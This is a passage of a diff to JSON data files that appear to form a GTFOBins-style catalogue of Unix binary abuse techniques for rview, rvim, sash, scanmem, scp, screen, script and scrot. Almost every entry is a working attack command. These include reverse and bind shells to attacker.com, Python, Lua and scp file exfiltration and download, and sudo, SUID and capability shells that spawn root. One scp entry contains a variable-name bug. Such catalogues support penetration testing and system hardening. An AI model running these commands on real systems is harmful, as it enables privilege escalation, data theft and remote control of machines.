+ "description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3. Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
34
+ "code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\nrview -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))\nvim.command(\":q!\")'\n"
35
35
  },
36
36
  {
37
- "description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3. Serve files in the local folder running an HTTP server.",
38
- "code": "rview -c ':py import vim,sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n"
37
+ "description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3. Serve files in the local folder running an HTTP server.",
38
+ "code": "export LPORT=8888\nrview -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n"
39
39
  },
40
40
  {
41
- "description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file. This requires that 'rview' is compiled with Lua support and that 'lua-socket' is installed.",
42
- "code": "rview -c ':lua local f=io.open(\"[file]\", \"rb\")\nlocal d=f:read(\"*a\")\nio.close(f);\nlocal s=require(\"socket\");\nlocal t=assert(s.tcp());\nt:connect(\"[host]\", [port]);\nt:send(d);\nt:close();'\n"
41
+ "description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file. This requires that `rview` is compiled with Lua support and that `lua-socket` is installed.",
42
+ "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nrview -c ':lua local f=io.open(os.getenv(\"LFILE\"), 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n t:send(d);\n t:close();'\n"
43
43
  }
44
44
  ],
45
45
  "file-download": [
46
46
  {
47
- "description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3. Fetch a remote file via HTTP GET request.",
48
- "code": "rview -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[host]\", \"[file]\")\nvim.command(\":q!\")'\n"
47
+ "description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3. Fetch a remote file via HTTP GET request.",
48
+ "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\nrview -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(e[\"URL\"], e[\"LFILE\"])\nvim.command(\":q!\")'\n"
49
49
  },
50
50
  {
51
- "description": "Fetch a remote file via TCP. Run 'nc [host] [port] < [file]' on the attacker box to send the file. This requires that 'rview' is compiled with Lua support and that 'lua-socket' is installed.",
52
- "code": "rview -c ':lua local k=require(\"socket\");\nlocal s=assert(k.bind(\"*\", [port]));\nlocal c=s:accept();\nlocal d,x=c:receive(\"*a\");\nc:close();\nlocal f=io.open(\"LFILE\", \"wb\");\nf:write(d);\nio.close(f);'\n"
51
+ "description": "Fetch a remote file via TCP. Run `nc target.com 12345 < \"file_to_send\"` on the attacker box to send the file. This requires that `rview` is compiled with Lua support and that `lua-socket` is installed.",
52
+ "code": "export LPORT=12345\nexport LFILE=file_to_save\nrview -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(os.getenv(\"LFILE\"), \"wb\");\n f:write(d);\n io.close(f);'\n"
53
53
  }
54
54
  ],
55
55
  "file-write": [
56
56
  {
57
- "code": "rview [file]\niDATA\n^[\nw!\n"
57
+
58
+ "code": "rview file_to_write\niDATA\n^[\nw!\n"
58
59
  }
59
60
  ],
60
61
  "file-read": [
61
62
  {
62
- "code": "rview [file]"
63
+
64
+ "code": "rview file_to_read\n"
63
65
  }
64
66
  ],
65
67
  "library-load": [
66
68
  {
67
- "description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3.",
68
- "code": "rview -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'"
69
+ "description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3.",
70
+ "code": "rview -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'\n"
69
71
  }
70
72
  ],
71
73
  "suid": [
72
74
  {
73
- "description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3.",
74
- "code": "./rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'"
75
+ "description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3.",
76
+ "code": "./rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'\n"
75
77
  }
76
78
  ],
77
79
  "sudo": [
78
80
  {
79
- "description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3.",
80
- "code": "sudo rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
81
+ "description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3.",
82
+ "code": "sudo rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n"
81
83
  },
82
84
  {
83
- "description": "This requires that 'rview' is compiled with Lua support.",
84
- "code": "sudo rview -c ':lua os.execute(\"reset; exec sh\")'"
85
+ "description": "This requires that `rview` is compiled with Lua support.",
86
+ "code": "sudo rview -c ':lua os.execute(\"reset; exec sh\")'\n"
85
87
  }
86
88
  ],
87
89
  "capabilities": [
88
90
  {
89
- "description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3.",
90
- "code": "./rview -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
91
+ "description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3.",
92
+ "code": "./rview -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n"
91
93
  }
92
94
  ],
93
95
  "limited-suid": [
94
96
  {
95
- "description": "This requires that 'rview' is compiled with Lua support.",
96
- "code": "./rview -c ':lua os.execute(\"reset; exec sh\")'"
97
+ "description": "This requires that `rview` is compiled with Lua support.",
98
+ "code": "./rview -c ':lua os.execute(\"reset; exec sh\")'\n"
97
99
  }
98
100
  ]
99
101
  }
gtfo/data/rvim.json CHANGED
@@ -2,99 +2,105 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
- "description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3.",
6
- "code": "rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
5
+ "description": "This requires that `rvim` version is `< 9.0.1440`.",
6
+ "code": "rvim -c ':redir! > ~/.vimrc | echo \"!python3 -c \\'import pty; pty.spawn(\\\"/bin/bash\\\")\\'\" | redir END | set shell=/usr/bin/vim | diffpatch'\n"
7
7
  },
8
8
  {
9
- "description": "This requires that 'rvim' is compiled with Lua support.",
10
- "code": "rvim -c ':lua os.execute(\"reset; exec sh\")'"
9
+ "description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.",
10
+ "code": "rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n"
11
+ },
12
+ {
13
+ "description": "This requires that `rvim` is compiled with Lua support.",
14
+ "code": "rvim -c ':lua os.execute(\"reset; exec sh\")'\n"
11
15
  }
12
16
  ],
13
17
  "reverse-shell": [
14
18
  {
15
- "description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3. Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.",
16
- "code": "rvim -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port])))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n"
19
+ "description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.",
20
+ "code": "export RHOST=attacker.com\nexport RPORT=12345\nrvim -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n"
17
21
  }
18
22
  ],
19
23
  "non-interactive-reverse-shell": [
20
24
  {
21
- "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell. This requires that 'rvim' is compiled with Lua support and that 'lua-socket' is installed.",
22
- "code": "rvim -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\n t:connect(\"[host]\",[port]);\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n"
25
+ "description": "Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.",
26
+ "code": "export RHOST=attacker.com\nexport RPORT=12345\nrvim -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n"
23
27
  }
24
28
  ],
25
29
  "non-interactive-bind-shell": [
26
30
  {
27
- "description": "Run 'nc [host] [port]' on the attacker box to connect to the shell. This requires that 'rvim' is compiled with Lua support and that `lua-socket` is installed.",
28
- "code": "rvim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",[port]));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n"
31
+ "description": "Run `nc target.com 12345` on the attacker box to connect to the shell. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.",
32
+ "code": "export LPORT=12345\nrvim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n"
29
33
  }
30
34
  ],
31
35
  "file-upload": [
32
36
  {
33
- "description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3. Send local file via 'd' parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
34
- "code": "rvim -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[url]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))\nvim.command(\":q!\")'\n"
37
+ "description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
38
+ "code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\nrvim -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))\nvim.command(\":q!\")'\n"
35
39
  },
36
40
  {
37
- "description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3. Serve files in the local folder running an HTTP server.",
38
- "code": "rvim -c ':py import vim,sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n"
41
+ "description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Serve files in the local folder running an HTTP server.",
42
+ "code": "export LPORT=8888\nrvim -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n"
39
43
  },
40
44
  {
41
- "description": "Send a local file via TCP. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file. This requires that `rvim` is compiled with Lua support and that 'lua-socket' is installed.",
42
- "code": "rvim -c ':lua local f=io.open(\"[file]\", 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(\"[host]\",[port]);\n t:send(d);\n t:close();'\n"
45
+ "description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.",
46
+ "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nrvim -c ':lua local f=io.open(os.getenv(\"LFILE\"), 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n t:send(d);\n t:close();'\n"
43
47
  }
44
48
  ],
45
49
  "file-download": [
46
50
  {
47
- "description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3. Fetch a remote file via HTTP GET request.",
48
- "code": "rvim -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[url]\", \"[file]\")\nvim.command(\":q!\")'\n"
51
+ "description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Fetch a remote file via HTTP GET request.",
52
+ "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\nrvim -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(e[\"URL\"], e[\"LFILE\"])\nvim.command(\":q!\")'\n"
49
53
  },
50
54
  {
51
- "description": "Fetch a remote file via TCP. Run 'nc [host] [port] < [file]' on the attacker box to send the file. This requires that 'rvim' is compiled with Lua support and that 'lua-socket' is installed.",
52
- "code": "rvim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",\"[port]\"));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(\"[file]\", \"wb\");\n f:write(d);\n io.close(f);'\n"
55
+ "description": "Fetch a remote file via TCP. Run `nc target.com 12345 < \"file_to_send\"` on the attacker box to send the file. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.",
56
+ "code": "export LPORT=12345\nexport LFILE=file_to_save\nrvim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(os.getenv(\"LFILE\"), \"wb\");\n f:write(d);\n io.close(f);'\n"
53
57
  }
54
58
  ],
55
59
  "file-write": [
56
60
  {
57
- "code": "rvim [file]\niDATA\n^[\nw\n"
61
+ "description": "",
62
+ "code": "rvim file_to_write\niDATA\n^[\nw\n"
58
63
  }
59
64
  ],
60
65
  "file-read": [
61
66
  {
62
- "code": "rvim [file]"
67
+ "description": "",
68
+ "code": "rvim file_to_read\n"
63
69
  }
64
70
  ],
65
71
  "library-load": [
66
72
  {
67
- "description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3.",
68
- "code": "rvim -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'"
73
+ "description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.",
74
+ "code": "rvim -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'\n"
69
75
  }
70
76
  ],
71
77
  "suid": [
72
78
  {
73
- "description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3.",
74
- "code": "./rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'"
79
+ "description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.",
80
+ "code": "./rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'\n"
75
81
  }
76
82
  ],
77
83
  "sudo": [
78
84
  {
79
- "description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3.",
80
- "code": "sudo rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
85
+ "description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.",
86
+ "code": "sudo rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n"
81
87
  },
82
88
  {
83
- "description": "This requires that 'rvim' is compiled with Lua support.",
84
- "code": "sudo rvim -c ':lua os.execute(\"reset; exec sh\")'"
89
+ "description": "This requires that `rvim` is compiled with Lua support.",
90
+ "code": "sudo rvim -c ':lua os.execute(\"reset; exec sh\")'\n"
85
91
  }
86
92
  ],
87
93
  "capabilities": [
88
94
  {
89
- "description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3.",
90
- "code": "./rvim -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
95
+ "description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.",
96
+ "code": "./rvim -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n"
91
97
  }
92
98
  ],
93
99
  "limited-suid": [
94
100
  {
95
- "description": "This requires that 'rvim' is compiled with Lua support.",
96
- "code": "./rvim -c ':lua os.execute(\"reset; exec sh\")'"
101
+ "description": "This requires that `rvim` is compiled with Lua support.",
102
+ "code": "./rvim -c ':lua os.execute(\"reset; exec sh\")'\n"
97
103
  }
98
104
  ]
99
105
  }
100
- }
106
+ }
gtfo/data/sash.json CHANGED
@@ -2,17 +2,20 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
- "code": "slsh -e 'system(\"/bin/sh\")'"
5
+
6
+ "code": "sash\n"
6
7
  }
7
8
  ],
8
- "sudo": [
9
+ "suid": [
9
10
  {
10
- "code": "sudo slsh -e 'system(\"/bin/sh\")'"
11
+
12
+ "code": "./sash\n"
11
13
  }
12
14
  ],
13
- "limited-suid": [
15
+ "sudo": [
14
16
  {
15
- "code": "./slsh -e 'system(\"/bin/sh\")'"
17
+
18
+ "code": "sudo sash\n"
16
19
  }
17
20
  ]
18
21
  }
gtfo/data/scanmem.json ADDED
@@ -0,0 +1,22 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+
6
+ "code": "scanmem\nshell /bin/sh\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+
12
+ "code": "./scanmem\nshell /bin/sh\n"
13
+ }
14
+ ],
15
+ "sudo": [
16
+ {
17
+
18
+ "code": "sudo scanmem\nshell /bin/sh\n"
19
+ }
20
+ ]
21
+ }
22
+ }
gtfo/data/scp.json CHANGED
@@ -2,30 +2,33 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
+
5
6
  "code": "TF=$(mktemp)\necho 'sh 0<&2 1>&2' > $TF\nchmod +x \"$TF\"\nscp -S $TF x y:\n"
6
7
  }
7
8
  ],
8
9
  "file-upload": [
9
10
  {
10
11
  "description": "Send local file to a SSH server.",
11
- "code": "scp [file] [user@host:[file]]\n"
12
+ "code": "RPATH=user@attacker.com:~/file_to_save\nLPATH=file_to_send\nscp $LFILE $RPATH\n"
12
13
  }
13
14
  ],
14
15
  "file-download": [
15
16
  {
16
17
  "description": "Fetch a remote file from a SSH server.",
17
- "code": "scp [user@host:[file]] [file]\n"
18
+ "code": "RPATH=user@attacker.com:~/file_to_get\nLFILE=file_to_save\nscp $RPATH $LFILE\n"
18
19
  }
19
20
  ],
20
21
  "sudo": [
21
22
  {
23
+
22
24
  "code": "TF=$(mktemp)\necho 'sh 0<&2 1>&2' > $TF\nchmod +x \"$TF\"\nsudo scp -S $TF x y:\n"
23
25
  }
24
26
  ],
25
27
  "limited-suid": [
26
28
  {
29
+
27
30
  "code": "TF=$(mktemp)\necho 'sh 0<&2 1>&2' > $TF\nchmod +x \"$TF\"\n./scp -S $TF a b:\n"
28
31
  }
29
32
  ]
30
33
  }
31
- }
34
+ }
gtfo/data/screen.json CHANGED
@@ -2,23 +2,25 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
- "code": "screen"
5
+
6
+ "code": "screen\n"
6
7
  }
7
8
  ],
8
9
  "file-write": [
9
10
  {
10
- "description": "This works on screen version 4.06.02. Data is appended to the file and '\\n' is converted to '\\r\\n'.",
11
- "code": "screen -L -Logfile [file] echo DATA\n"
11
+ "description": "This works on screen version 4.06.02. Data is appended to the file and `\\n` is converted to `\\r\\n`.",
12
+ "code": "LFILE=file_to_write\nscreen -L -Logfile $LFILE echo DATA\n"
12
13
  },
13
14
  {
14
- "description": "This works on screen version 4.05.00. Data is appended to the file and '\\n' is converted to '\\r\\n'.",
15
- "code": "screen -L [file] echo DATA\n"
15
+ "description": "This works on screen version 4.05.00. Data is appended to the file and `\\n` is converted to `\\r\\n`.",
16
+ "code": "LFILE=file_to_write\nscreen -L $LFILE echo DATA\n"
16
17
  }
17
18
  ],
18
19
  "sudo": [
19
20
  {
20
- "code": "sudo screen"
21
+
22
+ "code": "sudo screen\n"
21
23
  }
22
24
  ]
23
25
  }
24
- }
26
+ }
gtfo/data/script.json CHANGED
@@ -2,19 +2,21 @@
2
2
  "functions": {
3
3
  "shell": [
4
4
  {
5
- "code": "script -q /dev/null"
5
+
6
+ "code": "script -q /dev/null\n"
6
7
  }
7
8
  ],
8
9
  "sudo": [
9
10
  {
10
- "code": "sudo script -q /dev/null"
11
+
12
+ "code": "sudo script -q /dev/null\n"
11
13
  }
12
14
  ],
13
15
  "file-write": [
14
16
  {
15
17
  "description": "The wrote content is corrupted by debug prints.",
16
- "code": "script -q -c 'echo DATA' [file]"
18
+ "code": "script -q -c 'echo DATA' file_to_write\n"
17
19
  }
18
20
  ]
19
21
  }
20
- }
22
+ }
gtfo/data/scrot.json ADDED
@@ -0,0 +1,22 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+
6
+ "code": "scrot -e /bin/sh\n"
7
+ }
8
+ ],
9
+ "limited-suid": [
10
+ {
11
+
12
+ "code": "./scrot -e /bin/sh\n"
13
+ }
14
+ ],
15
+ "sudo": [
16
+ {
17
+
18
+ "code": "sudo scrot -e /bin/sh\n"
19
+ }
20
+ ]
21
+ }
22
+ }